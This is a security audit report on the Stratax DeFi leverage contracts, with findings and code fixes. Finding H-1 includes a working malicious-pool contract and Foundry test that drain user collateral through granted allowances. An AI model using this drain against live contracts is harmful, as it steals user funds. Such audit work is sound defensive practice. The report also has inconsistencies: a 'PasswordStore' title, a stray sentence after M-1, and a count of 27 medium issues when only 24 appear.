PasswordStore Audit Report

Prepared by: Samir Ben Bouker Lead Auditors:

- Samir Ben Bouker (https://github.com/samirbenbouker)

Assisting Auditors:

- None

Table of contents

▶ See table

Disclaimer

The Samir Ben Bouker makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

The findings described in this document correspond the following commit hash:

```
f6525334ddeb7910733432a992daecb0a8041430
```

Scope

```
src/
--- Stratax.sol
--- StrataxOracle.sol
```

Protocol Summary

Stratax is a DeFi leveraged position protocol that enables users to create leveraged exposure to crypto assets using Aave V3 lending pools and 1inch DEX aggregator. The protocol uses flash loans to achieve capital-efficient leverage without requiring users to manually manage complex borrowing and swapping operations.

Roles

Executive Summary

Issues found

Severity	Number of issues found
High	2
Medium	27
Low	18
Info	0
Gas Optimizations	6
Total	53

Findings

High

[H-1] Untrusted Pool Configuration Enables Full Fund Drain

Description: The contract allows setting an arbitrary address as the lending pool during `Stratax::initialize`:

```
function initialize(
    address _aavePool,
    ...
) external initializer {
    aavePool = IPool(_aavePool);
}
```

No validation is performed to ensure that `_aavePool` is a legitimate Aave V3 pool.

Later, during the flash-loan lifecycle, Stratax grants token approvals and performs external calls assuming the pool is trusted:

```
IERC20(_asset).approve(address(aavePool), totalCollateral);
aavePool.supply(...);

aavePool.borrow(...);
```

This creates a **trust boundary violation**:

- Stratax gives spending approval to `aavePool`
- Then executes arbitrary external code controlled by that address
- A malicious pool can exploit the granted allowance or manipulate execution flow

This is **not a classic same-function reentrancy**, but a **callback-driven malicious integration attack**, where control flow is handed to an untrusted contract before the operation is finalized.

Because Stratax is upgradeable and the pool address is configurable, this becomes a realistic risk in:

- Misconfiguration during deployment
- Governance compromise / upgrade attack
- Incorrect address on new networks
- Integration testing environments reused in production

Impact:

If a malicious or incorrect pool is configured, it can:

- Use the allowance granted by Stratax to transfer tokens out of the contract
- Manipulate the execution flow during `flashLoanSimple → executeOperation`
- Drain user-supplied collateral before the position is finalized
- Cause permanent loss of funds without violating ERC20 rules

The protocol fully relies on the assumption that `aavePool` is honest, but that assumption is never enforced on-chain.

This makes the system fragile to configuration or governance errors.

Proof of Concept:

A malicious pool can exploit the approval granted during `Stratax::_executeOpenOperation`.

Malicious Pool (Test Double)

```
contract MaliciousPool {
    Stratax public stratax;
    address public currentCollateralAsset; // captured from supply(asset,...)
    bool public drained;

    constructor(Stratax _stratax) {
        stratax = _stratax;
    }

    // Minimal flashLoanSimple: just calls back into Stratax.
    // We intentionally do NOT transfer the flashloaned tokens; this is fine for demonstrating the drain,
    // because Stratax already holds the user's collateral.
    function flashLoanSimple(
        address receiver,
        address asset,
        uint256 amount,
        bytes calldata params,
        uint16 /*referralCode*/
    ) external {
        // executeOperation enforces:
        // msg.sender == aavePool (this contract)
        // _initiator == address(this contract) (Stratax) => receiver
        stratax.executeOperation(asset, amount, 0, receiver, params);
    }

    // Called by Stratax before borrow(); good place to remember which asset is being supplied.
    function supply(address asset, uint256 /*amount*/, address /*onBehalfOf*/, uint16 /*referralCode*/) external {
        currentCollateralAsset = asset;
    }

    // This is the "reentrancy hook" point you flagged.
    // At this moment Stratax has already done:
    // IERC20(_asset).approve(address(aavePool), totalCollateral);
    // So we can drain the collateral asset via transferFrom.
    function borrow(
        address /*borrowToken*/,
        uint256 /*borrowAmount*/,
        uint256 /*interestRateMode*/,
        uint16 /*referralCode*/,
        address /*onBehalfOf*/
    ) external {
        if (!drained) {
            drained = true;

            MockERC20 t = MockERC20(currentCollateralAsset);
            uint256 bal = t.balanceOf(address(stratax));

            // Drain ALL tokens Stratax currently holds of the collateral asset.
            // This uses the allowance granted right before supply().
            if (bal > 0) {
                t.transferFrom(address(stratax), address(this), bal);
            }
        }
    }

    function getUserAccountData(address)
        external
        pure
        returns (uint256, uint256, uint256, uint256, uint256, uint256)
    {
        // Return a safe healthFactor (> 1e18) so Stratax passes the check
        return (0, 0, 0, 0, 0, 2e18);
    }

    function repay(address, uint256, uint256, address) external pure returns (uint256) {
        return 0;
    }

    function withdraw(address, uint256, address) external pure returns (uint256) {
        return 0;
    }
}
```

Foundry Test Demonstrating the Attack Path

```
    function test_MaliciousPoolDrainsStrataxDuringBorrow() external {
        vm.startPrank(OWNER);

        uint256 flashLoanAmount = 10 ether;
        uint256 collateralAmount = 100 ether;

        // Pre-conditions
        assertEq(collateralToken.balanceOf(address(stratax)), 0);
        assertEq(collateralToken.balanceOf(address(pool)), 0);

        // Trigger OPEN flow; drain happens inside MaliciousPool.borrow()
        stratax.createLeveragedPosition(
            address(collateralToken),
            flashLoanAmount,
            collateralAmount,
            address(borrowToken), // IMPORTANT: different from collateralToken
            1 ether,
            hex"deadbeef",
            0
        );

        // Post-conditions: pool drained the collateral from Stratax during borrow()
        assertTrue(pool.drained(), "drain did not happen");
        assertEq(collateralToken.balanceOf(address(stratax)), 0, "Stratax still holds collateral");
        assertEq(collateralToken.balanceOf(address(pool)), collateralAmount, "Pool did not receive drained collateral");

        vm.stopPrank();
    }
```

This demonstrates that a malicious pool can abuse allowances granted by Stratax during execution.

Recommended Mitigation:

The fix is **not** adding `nonReentrant`. This issue is caused by trusting an unverified external dependency.

1. Enforce Trusted Pool (Recommended)

Hardcode or immutably set the official Aave pool:

```
- IPool public aavePool;
+ IPool public immutable aavePool;
```

Set in constructor (or initializer once) and never allow arbitrary replacement.

2. Validate Pool Codehash

Ensure the configured address is the real Aave deployment:

```
bytes32 constant AAVE_POOL_CODEHASH = 0x...;

require(address(_aavePool).codehash == AAVE_POOL_CODEHASH, "Untrusted pool");
```

3. Avoid Persistent Allowances

Grant exact allowances only when needed and reset afterward:

```
IERC20(_asset).approve(address(aavePool), 0);
IERC20(_asset).approve(address(aavePool), amount);

// After call
IERC20(_asset).approve(address(aavePool), 0);
```

Or use:

```
SafeERC20.forceApprove(token, address(aavePool), amount);
```

4. (Optional Defense-in-Depth) Add Integration Allowlist

```
mapping(address => bool) public trustedPool;

require(trustedPool[_aavePool], "Pool not approved");
```

[H-2] Tether (USDT) Non-Standard ERC20 Behavior Can Cause Flash Loan Reverts and Protocol Denial of Service

Description:

The `Stratax` contract performs multiple direct calls to `IERC20.transfer`, `transferFrom`, and `approve`, assuming strict ERC-20 compliance (i.e., returning `bool` and supporting standard allowance behavior).

However, **Tether (USDT)**, issued by **Tether Limited**, is a well-known non-standard ERC-20 implementation with the following characteristics:

- `transfer` and `transferFrom` may not return a boolean value.
- `approve` may revert if attempting to change a non-zero allowance directly to another non-zero value.
- It does not strictly comply with the expected ERC-20 return value behavior.

The contract includes multiple unsafe calls such as:

```
IERC20(_token).transfer(...)
IERC20(_token).transferFrom(...)
IERC20(_token).approve(...)
```

without:

- Using `SafeERC20`
- Verifying return values
- Resetting allowance to zero before updating it

When interacting with USDT, these assumptions may cause unexpected reverts.

Impact:

Severity: High

If USDT is used as:

- Flash loan token
- Collateral token
- Borrow token

the protocol may experience:

- Reverts during `createLeveragedPosition`
- Reverts inside `_executeOpenOperation`
- Reverts inside `_executeUnwindOperation`
- Reverts in `recoverTokens`
- Full flash loan transaction failure

Since flash loans must complete atomically, any revert inside transfer or approval logic will revert the entire transaction.

This may result in:

- Inability to open leveraged positions
- Inability to unwind positions
- Operational denial of service when USDT is used
- Incompatibility with a major Aave-supported asset

Given USDT's widespread use in DeFi, this significantly impacts protocol reliability and usability.

Proof of Concept:

Scenario:

1. A user opens a leveraged position using USDT as `_flashLoanToken`.
2. Inside `_executeOpenOperation`, the contract executes:

```
IERC20(_asset).approve(address(aavePool), totalCollateral);
```

If:

- A previous allowance already exists and is non-zero, and
- The token is USDT,

the call may revert because USDT requires:

```
approve(spender, 0);
approve(spender, newAmount);
```

instead of directly updating a non-zero allowance.

As a result:

- The `approve` call reverts
- The flash loan callback fails
- The entire transaction reverts

The same issue can occur when approving tokens for the 1inch router or during unwind operations.

Recommended Mitigation:

Use OpenZeppelin's `SafeERC20` for all ERC-20 interactions:

```
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

using SafeERC20 for IERC20;
```

Replace:

- `transfer` with `safeTransfer`
- `transferFrom` with `safeTransferFrom`
- `approve` with `forceApprove` (recommended if available)

If `forceApprove` is not available, use the reset-to-zero pattern:

```
function _safeApprove(IERC20 token, address spender, uint256 amount) internal {
    token.safeApprove(spender, 0);
    token.safeApprove(spender, amount);
}
```

Apply these changes to:

- `createLeveragedPosition`
- `_executeOpenOperation`
- `_executeUnwindOperation`
- `recoverTokens`

Medium

[M-1] Missing Zero-Address Validation in Initializer Can Lead to Irrecoverable Misconfiguration

Description: The `initialize` function assigns critical protocol dependencies without validating that the provided addresses are non-zero:

```
function initialize(
    address _aavePool,
    address _aaveDataProvider,
    address _oneInchRouter,
    address _usdc,
    address _strataxOracle
) external initializer {
@>  aavePool = IPool(_aavePool);
@>  aaveDataProvider = IProtocolDataProvider(_aaveDataProvider);
@>  oneInchRouter = IAggregationRouter(_oneInchRouter);
@>  USDC = _usdc;
    strataxOracle = _strataxOracle;
    owner = msg.sender;

    flashLoanFeeBps = 9;
}
```

If any of these parameters is mistakenly set to `address(0)`, the contract will be initialized with invalid dependencies. Because this is an upgradeable contract using `initializer`, the function can only be executed **once**, making the misconfiguration permanent.

This is especially dangerous for:

- `aavePool`
- `oneInchRouter`
- `strataxOracle`

as they are core to protocol execution and external calls.

Impact: A wrong initialization can brick the contract or cause undefined behavior:

- Calls to `address(0)` will revert, disabling core functionality (flash loans, swaps, oracle reads).
- Funds could become stuck if operations depend on these integrations.

- The contract cannot be reinitialized to fix the mistake.
- Requires redeployment and migration, which is operationally risky and expensive.

This represents a **configuration risk with permanent consequences**, particularly relevant during deployment or upgrades.

Proof of Concept:

Deployment script mistakenly passes a zero address:

```
stratax.initialize(
    address(aavePool),
    address(0), // Misconfigured
    address(oneInchRouter),
    usdc,
    oracle
);
```

The contract is now locked with:

```
aaveDataProvider == address(0);
```

Any function relying on it will revert:

```
aaveDataProvider.getReserveConfigurationData(...); // revert
```

Since `initializer` prevents re-calling `initialize`, the contract cannot be repaired.

Recommended Mitigation: Validate all critical inputs during initialization:

```
function initialize(
    address _aavePool,
    address _aaveDataProvider,
    address _oneInchRouter,
    address _usdc,
    address _strataxOracle
) external initializer {
+   require(_aavePool != address(0), "Invalid Aave pool");
+   require(_aaveDataProvider != address(0), "Invalid data provider");
+   require(_oneInchRouter != address(0), "Invalid 1inch router");
+   require(_usdc != address(0), "Invalid USDC");
+   require(_strataxOracle != address(0), "Invalid oracle");

    aavePool = IPool(_aavePool);
    aaveDataProvider = IProtocolDataProvider(_aaveDataProvider);
    oneInchRouter = IAggregationRouter(_oneInchRouter);
    USDC = _usdc;
    strataxOracle = _strataxOracle;

    owner = msg.sender;
    flashLoanFeeBps = 9;
}
```

to avoid the use of magic numbers and improve clarity.

[M-2] ERC20 `transfer` Return Value Is Not Checked in `Stratax::recoverTokens`

Description: The function calls `IERC20(_token).transfer(...)` without verifying whether the token transfer succeeded:

```
    function recoverTokens(address _token, uint256 _amount) external onlyOwner {
@>      IERC20(_token).transfer(owner, _amount);
    }
```

Some ERC20 tokens return `false` on failure rather than reverting. Ignoring the return value can make the call appear successful while no tokens are actually transferred.

Impact: Medium. In emergency recovery flows, a silent failure can cause tokens to remain stuck and complicate incident response and operations.

Recommended Mitigation: At minimum, check the boolean return value (note: this still won't handle tokens that don't return a bool):

```
function recoverTokens(address _token, uint256 _amount) external onlyOwner {
-   IERC20(_token).transfer(owner, _amount);
+   bool ok = IERC20(_token).transfer(owner, _amount);
+   require(ok, "Transfer failed");
}
```

[M-3] Use `SafeERC20` in `Stratax::recoverTokens` for Token Recovery to Support Non-Standard ERC20s

Description: Using raw `IERC20.transfer` is fragile because some widely-used tokens are non-standard (e.g., not returning a boolean or using inconsistent return data). OpenZeppelin's `SafeERC20` safely wraps these behaviors and ensures failures revert properly.

```
    function recoverTokens(address _token, uint256 _amount) external onlyOwner {
@>      IERC20(_token).transfer(owner, _amount);
    }
```

Impact: Medium. Without `SafeERC20`, recovery may revert unexpectedly or fail silently depending on the token implementation, preventing token recovery when it matters most.

Recommended Mitigation: Use OpenZeppelin `SafeERC20`:

```
+ import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+ using SafeERC20 for IERC20;

function recoverTokens(address _token, uint256 _amount) external onlyOwner {
-   IERC20(_token).transfer(owner, _amount);
+   IERC20(_token).safeTransfer(owner, _amount);
}
```

(You can keep the input checks from [L-5] as well.)

[M-4] `transferFrom` Return Value Not Checked When Pulling Collateral

Description: `Stratax::createLeveragedPosition` pulls user collateral using `IERC20.transferFrom` but does not verify the transfer succeeded:

```
function createLeveragedPosition(
        address _flashLoanToken,
        uint256 _flashLoanAmount,
        uint256 _collateralAmount,
        address _borrowToken,
        uint256 _borrowAmount,
        bytes calldata _oneInchSwapData,
        uint256 _minReturnAmount
    ) public onlyOwner {
        require(_collateralAmount > 0, "Collateral Cannot be Zero");
        // Transfer the user's collateral to the contract
@>      IERC20(_flashLoanToken).transferFrom(msg.sender, address(this), _collateralAmount);

        FlashLoanParams memory params = FlashLoanParams({
        ...
    }
```

Some ERC20 tokens return `false` on failure instead of reverting. Ignoring the return value can cause the function to continue execution even if the transfer failed (or appear to fail in non-standard ways), leading to unexpected behavior when later steps assume collateral was received.

Impact: Medium. If collateral is not actually transferred in, subsequent protocol actions may revert later (harder to diagnose) or operate under invalid assumptions, breaking the open-position flow and potentially causing funds/operations to get stuck mid-transaction (depending on downstream calls).

Recommended Mitigation: At minimum, check the returned boolean (note: this does not cover tokens that do not return a bool):

```
- IERC20(_flashLoanToken).transferFrom(msg.sender, address(this), _collateralAmount);
+ bool ok = IERC20(_flashLoanToken).transferFrom(msg.sender, address(this), _collateralAmount);
+ require(ok, "transferFrom failed");
```

[M-5] Use `SafeERC20.safeTransferFrom` When Pulling Collateral to Support Non-Standard ERC20s

Description: Using raw `IERC20.transferFrom` is fragile because many tokens are non-standard (missing return values or inconsistent behavior). OpenZeppelin's `SafeERC20` safely handles these cases and ensures failures revert predictably.

Impact: Medium. Without `SafeERC20`, the collateral transfer can fail silently or revert unexpectedly depending on the token implementation, undermining the reliability of the leverage-opening flow.

Recommended Mitigation: Switch to OpenZeppelin `SafeERC20`:

```
+ import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+ using SafeERC20 for IERC20;

function createLeveragedPosition(
    address _flashLoanToken,
    uint256 _flashLoanAmount,
    uint256 _collateralAmount,
    address _borrowToken,
    uint256 _borrowAmount,
    bytes calldata _oneInchSwapData,
    uint256 _minReturnAmount
) public onlyOwner {
    require(_collateralAmount > 0, "Collateral Cannot be Zero");
-   IERC20(_flashLoanToken).transferFrom(msg.sender, address(this), _collateralAmount);
+   IERC20(_flashLoanToken).safeTransferFrom(msg.sender, address(this), _collateralAmount);
    ...
}
```

[M-6] Integer Division Truncation in Param Calculations Causes Systematic Under/Over-Estimation (Precision Loss → Unsafe/Failed Positions)

Description: `Stratax::calculateOpenParams` performs multiple chained arithmetic operations that rely on **integer division**. In Solidity, division truncates toward zero, so every `/ ...` step can permanently discard precision.

This function computes critical values (`flashLoanAmount`, `totalCollateralValueUSD`, `borrowValueUSD`, `borrowAmount`, `borrowValueInCollateral`, `flashLoanFee`) using several `mul / div` patterns:

```
function calculateOpenParams(TradeDetails memory details)
        public
        view
        returns (uint256 flashLoanAmount, uint256 borrowAmount)
    {
        ...
@>      flashLoanAmount =
            (details.collateralAmount * (details.desiredLeverage - LEVERAGE_PRECISION)) / LEVERAGE_PRECISION;

        ...
@>      uint256 totalCollateralValueUSD =
            (totalCollateral * details.collateralTokenPrice) / (10 ** details.collateralTokenDec);

@>      uint256 borrowValueUSD = (totalCollateralValueUSD * ltv * BORROW_SAFETY_MARGIN) / (LTV_PRECISION * 10000);

@>      borrowAmount = (borrowValueUSD * (10 ** details.borrowTokenDec)) / details.borrowTokenPrice;

@>      uint256 flashLoanFee = (flashLoanAmount * flashLoanFeeBps) / FLASHLOAN_FEE_PREC;
        uint256 minRequiredAfterSwap = flashLoanAmount + flashLoanFee;

@>      uint256 borrowValueInCollateral = (borrowAmount * details.borrowTokenPrice * (10 ** details.collateralTokenDec))
            / (details.collateralTokenPrice * (10 ** details.borrowTokenDec));
        ...
    }
```

Even if each line looks correct, the *cumulative truncation* can cause `borrowAmount` (and the repayment feasibility check) to deviate from the intended economic model.

Impact: Medium.

Precision loss here can lead to **incorrect position sizing**, with outcomes such as:

- **Under-borrowing** → swap proceeds fail to cover flash loan + fee → revert (`Insufficient borrow to repay flash loan`) causing avoidable failures/DoS for otherwise valid inputs.
- **Over-borrowing** (depending on rounding direction and where truncation happens) → larger debt than intended → **higher liquidation risk** / worse health factor than expected.
- Inconsistent results across tokens with different decimals (6 vs 18) and low-priced assets, where truncation effects are magnified.

Because this function determines core leverage parameters, rounding errors directly affect safety and user experience.

Proof of Concept: A representative failure pattern:

- `totalCollateralValueUSD` is truncated down due to `/ 10^collateralDec`
- `borrowValueUSD` then truncates again after multiplying by `ltv` and safety margin
- `borrowAmount` truncates again when dividing by `borrowTokenPrice`
- Final check compares `borrowValueInCollateral` (also truncated) against `minRequiredAfterSwap`

With realistic inputs (e.g., 6-dec collateral, prices with 8 decimals, and non-integer conversion ratios), it's possible for the math to land *just below* `minRequiredAfterSwap` due purely to rounding, even when the "true" real-number calculation would satisfy it.

Recommended Mitigation: Use a consistent fixed-point strategy and **aggregate multiplications before divisions**, using `mulDiv` to preserve precision and control rounding.

A practical approach is OpenZeppelin's `Math.mulDiv` (full precision) and explicitly choosing rounding direction where safety-critical:

- Round **up** when computing amounts that must be sufficient to repay (`borrowAmount`, `flashLoanFee`, `minRequiredAfterSwap`)
- Round **down** when enforcing caps (e.g., max borrow under LTV)

Example refactor pattern:

```
+ import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

  // totalCollateralValueUSD = (totalCollateral * collateralPrice) / (10^collateralDec)
- uint256 totalCollateralValueUSD =
-     (totalCollateral * details.collateralTokenPrice) / (10 ** details.collateralTokenDec);
+ uint256 totalCollateralValueUSD = Math.mulDiv(
+     totalCollateral,
+     details.collateralTokenPrice,
+     10 ** details.collateralTokenDec
+ );

  // borrowValueUSD = (totalCollateralValueUSD * ltv * BORROW_SAFETY_MARGIN) / (LTV_PRECISION * 10000)
- uint256 borrowValueUSD = (totalCollateralValueUSD * ltv * BORROW_SAFETY_MARGIN) / (LTV_PRECISION * 10000);
+ uint256 borrowValueUSD = Math.mulDiv(
+     totalCollateralValueUSD,
+     ltv * BORROW_SAFETY_MARGIN,
+     LTV_PRECISION * 10000
+ );

  // borrowAmount = (borrowValueUSD * 10^borrowDec) / borrowTokenPrice
- borrowAmount = (borrowValueUSD * (10 ** details.borrowTokenDec)) / details.borrowTokenPrice;
+ borrowAmount = Math.mulDiv(
+     borrowValueUSD,
+     10 ** details.borrowTokenDec,
+     details.borrowTokenPrice
+ );
```

For fee and "must-cover" computations, prefer rounding up:

```
- uint256 flashLoanFee = (flashLoanAmount * flashLoanFeeBps) / FLASHLOAN_FEE_PREC;
+ uint256 flashLoanFee = Math.mulDiv(
+     flashLoanAmount,
+     flashLoanFeeBps,
+     FLASHLOAN_FEE_PREC,
+     Math.Rounding.Ceil
+ );
```

And similarly for `borrowValueInCollateral`, use `mulDiv` (possibly with `Ceil` if used as a sufficiency check).

This keeps economics stable, reduces false reverts, and makes leverage sizing safer across token decimal combinations.

[M-7] Precision Loss From Integer Division in `Stratax::calculateUnwindParams` May Under/Overestimate Collateral Withdrawal

Description: The function computes `collateralToWithdraw` using integer division:

```
    function calculateUnwindParams(address _collateralToken, address _borrowToken)
        public
        view
        returns (uint256 collateralToWithdraw, uint256 debtAmount)
    {
        ...
@>      collateralToWithdraw = (debtTokenPrice * debtAmount * 10 ** IERC20(_collateralToken).decimals())
            / (collateralTokenPrice * 10 ** IERC20(_borrowToken).decimals());

        // Account for 5% slippage in swap
@>      collateralToWithdraw = (collateralToWithdraw * 1050) / 1000;

        return (collateralToWithdraw, debtAmount);
    }
```

Solidity division truncates, so this calculation can lose precision and systematically round down. Since this value is then adjusted by a slippage buffer:

```
collateralToWithdraw = (collateralToWithdraw * 1050) / 1000;
```

any earlier truncation still affects the final result. With different token decimals (e.g., 6 vs 18) and price feeds with 8 decimals, rounding error can become material.

Impact: Medium. Incorrect estimation of collateral to withdraw can lead to:

- Withdrawing too little collateral → swap yields insufficient borrow token → unwind flow reverts or fails to fully repay debt.
- Withdrawing too much collateral → unnecessarily reduces remaining collateral / worsens position outcomes.

Recommended Mitigation: Use a full-precision `mulDiv` approach to reduce truncation and control rounding direction (often **round up** is safer here to ensure enough collateral is withdrawn).

```
+ import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

collateralToWithdraw =
-   (debtTokenPrice * debtAmount * 10 ** IERC20(_collateralToken).decimals())
-   / (collateralTokenPrice * 10 ** IERC20(_borrowToken).decimals());
+   Math.mulDiv(
+       debtTokenPrice * debtAmount,
+       10 ** IERC20(_collateralToken).decimals(),
+       collateralTokenPrice * (10 ** IERC20(_borrowToken).decimals()),
+       Math.Rounding.Ceil
+   );
```

This minimizes precision loss and makes unwind calculations more reliable across token decimal configurations.

[M-8] Unchecked `approve` for Aave `supply` May Fail Silently

Description: Before calling `aavePool.supply`, the contract does:

```
    function _executeOpenOperation(address _asset, uint256 _amount, uint256 _premium, bytes calldata _params)
        internal
        returns (bool)
    {
        (, address user, FlashLoanParams memory flashParams) =
            abi.decode(_params, (OperationType, address, FlashLoanParams));

        // Step 1: Supply flash loan amount + user's extra amount to Aave as collateral
        uint256 totalCollateral = _amount + flashParams.collateralAmount;
        IERC20(_asset).approve(address(aavePool), totalCollateral);
        aavePool.supply(_asset, totalCollateral, address(this), 0);
        ...
    }
```

The return value of `approve` is not checked. Some ERC20s may return `false` instead of reverting, which could cause allowance not to be set as expected.

Impact: If allowance is not correctly set, `aavePool.supply` can revert or behave unexpectedly, breaking the open-position flow.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), totalCollateral);
+ bool ok = IERC20(_asset).approve(address(aavePool), totalCollateral);
+ require(ok, "approve failed");
```

[M-9] Use `SafeERC20` for `approve` to Handle Non-Standard Tokens

Description: Raw `IERC20.approve` is fragile with non-standard tokens (e.g., tokens that don't return bool, or tokens that require resetting allowance to zero first like USDT-style patterns).

Impact: Allowance setting can fail or revert unexpectedly depending on token behavior, leading to unreliable integrations.

Recommended Mitigation: Use OpenZeppelin `SafeERC20` and prefer `forceApprove` (or `safeIncreaseAllowance` when appropriate):

```
+ import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+ using SafeERC20 for IERC20;

- IERC20(_asset).approve(address(aavePool), totalCollateral);
+ IERC20(_asset).forceApprove(address(aavePool), totalCollateral);
```

[M-10] Unchecked `approve` for 1inch Router May Fail Silently

Description: Before swapping, the contract approves the 1inch router:

```
IERC20(flashParams.borrowToken).approve(address(oneInchRouter), flashParams.borrowAmount);
```

The return value is not checked.

Impact: If approval fails (returns `false`), the swap may revert or operate incorrectly.

Recommended Mitigation:

```
- IERC20(flashParams.borrowToken).approve(address(oneInchRouter), flashParams.borrowAmount);
+ bool ok = IERC20(flashParams.borrowToken).approve(address(oneInchRouter), flashParams.borrowAmount);
+ require(ok, "approve failed");
```

[M-11] Use `SafeERC20` for 1inch Router Approval

Description: Same `approve` fragility applies here (non-standard return values, zero-reset requirement).

Impact: Medium. Can break swap execution flow depending on token behavior.

Recommended Mitigation:

```
+ import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+ using SafeERC20 for IERC20;

- IERC20(flashParams.borrowToken).approve(address(oneInchRouter), flashParams.borrowAmount);
+ IERC20(flashParams.borrowToken).forceApprove(address(oneInchRouter), flashParams.borrowAmount);
```

[M-12] Unchecked `approve` for Supplying Leftover Collateral May Fail Silently

Description: When supplying leftover tokens back to Aave:

```
IERC20(_asset).approve(address(aavePool), returnAmount - totalDebt);
```

Return value is not checked.

Impact: If approval fails, the second `supply` can revert unexpectedly, breaking the operation.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), returnAmount - totalDebt);
+ bool ok = IERC20(_asset).approve(address(aavePool), returnAmount - totalDebt);
+ require(ok, "approve failed");
```

[M-13] Use `SafeERC20` for Leftover Collateral Approval

Description: Same non-standard token issues apply to approvals here.

Impact: Medium. May cause unexpected failures during the “improve health” step.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), returnAmount - totalDebt);
+ IERC20(_asset).forceApprove(address(aavePool), returnAmount - totalDebt);
```

[M-14] Unchecked `approve` for Flash Loan Repayment Allowance May Fail Silently

Description: At the end, the code approves Aave for `totalDebt`:

```
IERC20(_asset).approve(address(aavePool), totalDebt);
```

Return value is not checked.

Impact: If this approval fails, the flash loan repayment may fail, reverting the whole operation.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), totalDebt);
+ bool ok = IERC20(_asset).approve(address(aavePool), totalDebt);
+ require(ok, "approve failed");
```

[M-15] Use `SafeERC20` for Flash Loan Repayment Approval

Description: Approving `totalDebt` is safety-critical; non-standard token behaviors can break repayment flows.

Impact: Medium. Can cause repayment failure and revert.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), totalDebt);
+ IERC20(_asset).forceApprove(address(aavePool), totalDebt);
```

[M-16] Unchecked `approve` Return Value Before Aave `repay` May Cause Unexpected Failures

Description: Before calling `aavePool.repay`, the contract performs:

```
IERC20(_asset).approve(address(aavePool), _amount);
```

The return value of `approve` is not checked. Some ERC20 implementations return `false` instead of reverting, meaning the allowance may not be properly set.

Impact: This can break the unwind flow (unexpected revert or incorrect execution) when interacting with non-standard ERC20 tokens.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), _amount);
+ bool ok = IERC20(_asset).approve(address(aavePool), _amount);
+ require(ok, "approve failed");
```

[M-17] Use `SafeERC20` for `approve` (Aave Repay) to Support Non-Standard Tokens

Description: Using raw `IERC20.approve` is unsafe for non-standard ERC20 tokens (e.g., tokens that require resetting allowance to zero before updating, like USDT).

Impact: Approval may revert or silently fail depending on the token implementation, affecting the repay operation.

Recommended Mitigation:

```
+ import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+ using SafeERC20 for IERC20;

- IERC20(_asset).approve(address(aavePool), _amount);
+ IERC20(_asset).forceApprove(address(aavePool), _amount);
```

[M-18] Return Value of `aavePool.repay` Ignored, Potentially Miscomputing Withdrawn Collateral

Description: `repay()` returns the actual amount repaid, but the contract ignores this value and assumes `_amount` was fully repaid when computing collateral withdrawal.

Impact: If the repaid amount is lower than `_amount`, the contract may attempt to withdraw more collateral than allowed, causing reverts or incorrect accounting.

Recommended Mitigation:

```
- aavePool.repay(_asset, _amount, 2, address(this));
+ uint256 repaid = aavePool.repay(_asset, _amount, 2, address(this));
+ require(repaid == _amount, "Partial repay");
```

[M-19] Precision Loss Risk Due to Integer Division in `collateralToWithdraw`

Description: The calculation:

```
uint256 collateralToWithdraw = (...) / (...);
```

uses Solidity integer division, which truncates values and can introduce precision loss.

Impact: May under- or overestimate collateral withdrawal, potentially:

- Causing insufficient swap output → transaction revert
- Withdrawing excess collateral → suboptimal financial outcome

Recommended Mitigation: Use full-precision multiplication/division via `Math.mulDiv`:

```
+ import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

+ uint256 collateralToWithdraw = Math.mulDiv(
+     _amount * debtTokenPrice * LTV_PRECISION,
+     10 ** IERC20(unwindParams.collateralToken).decimals(),
+     collateralTokenPrice * (10 ** IERC20(_asset).decimals()) * liqThreshold,
+     Math.Rounding.Ceil
+ );
```

[M-20] Unchecked `approve` Return Value Before 1inch Swap

Description: The contract does not verify the success of:

```
IERC20(unwindParams.collateralToken).approve(address(oneInchRouter), withdrawnAmount);
```

Impact: If approval fails, the swap may revert or fail silently.

Recommended Mitigation:

```
- IERC20(unwindParams.collateralToken).approve(address(oneInchRouter), withdrawnAmount);
+ bool ok = IERC20(unwindParams.collateralToken).approve(address(oneInchRouter), withdrawnAmount);
+ require(ok, "approve failed");
```

[M-21] Use `SafeERC20` for 1inch Router Approval

Description: Raw approvals may fail with non-standard tokens.

Impact: Medium — swap execution may become unreliable.

Recommended Mitigation:

```
- IERC20(unwindParams.collateralToken).approve(address(oneInchRouter), withdrawnAmount);
+ IERC20(unwindParams.collateralToken).forceApprove(address(oneInchRouter), withdrawnAmount);
```

[M-22] Unchecked `approve` Before Supplying Leftover Tokens to Aave

Description: Approval for leftover collateral is not verified.

Impact: May cause supply to fail if approval was unsuccessful.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), leftover);
+ bool ok = IERC20(_asset).approve(address(aavePool), leftover);
+ require(ok, "approve failed");
```

[M-23] Use `SafeERC20` for Leftover Supply Approval

Description: Non-standard ERC20 behavior may break raw approvals.

Impact: Medium — affects reliability of final supply step.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), leftover);
+ IERC20(_asset).forceApprove(address(aavePool), leftover);
```

[M-24] Unchecked `approve` for Final Flash Loan Repayment Allowance

Description: The final approval is not validated:

```
IERC20(_asset).approve(address(aavePool), totalDebt);
```

Impact: Repayment may fail unexpectedly if approval was not successful.

Recommended Mitigation:

```
- IERC20(_asset).approve(address(aavePool), totalDebt);
+ bool ok = IERC20(_asset).approve(address(aavePool), totalDebt);
+ require(ok, "approve failed");
```

